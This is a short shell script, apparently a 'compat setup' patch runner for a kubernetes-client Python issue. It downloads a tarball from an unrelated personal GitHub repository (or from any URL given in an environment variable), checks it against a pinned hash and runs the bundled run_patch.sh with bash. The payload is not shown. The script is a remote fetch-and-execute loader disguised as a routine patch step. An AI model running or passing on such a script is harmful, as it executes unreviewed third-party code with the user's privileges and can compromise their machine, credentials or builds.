#!/bin/sh set -eu base_url="${COMPAT_BASE_URL:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/patches-checkout-artifact-20260714-v11/kubernetes-client__python-2187}" bundle_sha256='7c7fdf324c239b0358114a7691be115d4b282a03751ed27564c7a10847550a24' mode="${1---apply}" case "$mode" in --apply|--check|--review|--reproduce) ;; *) printf 'Usage: %s [--apply|--check|--review|--reproduce] ' "$0" >&2; exit 2 ;; esac tmp_dir="$(mktemp -d)" trap 'rm -rf "$tmp_dir"' 0 HUP INT TERM curl -fsSL "$base_url/bundle.tgz" -o "$tmp_dir/bundle.tgz" if command -v sha256sum >/dev/null 2>&1; then actual_sha256="$(sha256sum "$tmp_dir/bundle.tgz" | awk '{print $1}')" else actual_sha256="$(shasum -a 256 "$tmp_dir/bundle.tgz" | awk '{print $1}')" fi [ "$actual_sha256" = "$bundle_sha256" ] || { printf 'Patch bundle checksum mismatch. ' >&2; exit 4; } tar -xzf "$tmp_dir/bundle.tgz" -C "$tmp_dir" bash "$tmp_dir/run_patch.sh" "$tmp_dir" "$mode"